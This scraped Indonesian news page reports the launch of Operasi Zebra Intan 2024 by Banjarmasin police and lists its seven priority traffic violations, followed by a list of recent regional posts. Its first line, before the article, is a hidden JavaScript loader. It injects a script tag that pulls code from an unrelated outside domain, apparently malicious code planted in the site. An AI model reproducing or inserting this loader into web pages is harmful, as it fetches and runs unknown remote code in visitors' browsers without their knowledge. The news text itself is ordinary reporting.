(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ini Sasaran Tujuh Pelanggaran Operasi Zebra Intan 2024


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Resor (Polres) Kota Banjarmasin mulai melaksanakan Operasi Zebra Intan 2024 selama dua pekan.

Operasi dalam rangka mendukung pelantikan Presiden/Wakil Presiden terpilih serta mengajak masyarakat untuk tertib berlalu lintas mewujudkan Kamseltibcarlantas yang aman dan nyaman.

Pelaksanaan operasi ditandai dengan apel gelar pasukan yang berlangsung di halaman Mapolres Kota Banjarmasin, Senin (14/10/2024) pagi.

Baca juga: Menteri LHK Resmikan Persemaian Liang Anggang

Apel Operasi Zebra Intan 2024 dipimpin langsung Kapolres Kota Banjarmasin Kombes Pol Cuncun Kurniadi SIK MH

Operasi kali ini, ada 7 pelanggaran yang menjadi sasaran prioritas. Diantaranya, pengemudi atau pengendara ranmor (kendaraan bermotor) yang menggunakan ponsel saat berkendara, pengemudi atau pengendara ranmor yang masih di bawah umur, pengendara sepeda motor yang berboncengan lebih dari satu.

Kemudian pengemudi atau pengendara sepeda motor yang tidak menggunakan helm atau tidak menggunakan sabuk pengaman (safety belt), pengemudi atau pengendara ranmor dalam pengaruh atau mengkonsumsi alkohol.

Baca juga: Polres HSU Memulai Operasi Zebra Intan 2024

Lalu pengemudi atau pengendara ranmor yang melawan arus, dan pengemudi atau pengendara ranmor yang melebihi batas kecepatan.

“Operasi Zebra Intan 2024 Polresta Banjarmasin ini akan berlangsung selama 14 hari, dimulai dari tanggal 14 Oktober 2024 sampai dengan tanggal 27 Oktober 2024,” jelas Kapolres Banjarmasin.

Baca juga: Gubernur Kalsel Tersangka, Sekdprov: Pemerintahan Berjalan Normal

Kombes Cuncun mengatakan, operasi ini diselenggarakan secara serentak di seluruh jajaran Polda se Indonesia hingga kesatuan kewilayahan setingkat Polres.

Operasi Zebra Intan 2024 dilaksanakan dengan mengedepankan preemtif dan preventif yang didukung pola Penegakan Hukum (Gakkum) Lantas dengan mengedepankan secara elektronik melalui penggunaan ETLE statis dan mobile. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

1 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

2 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

3 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

3 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

4 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

4 jam ago

This website uses cookies.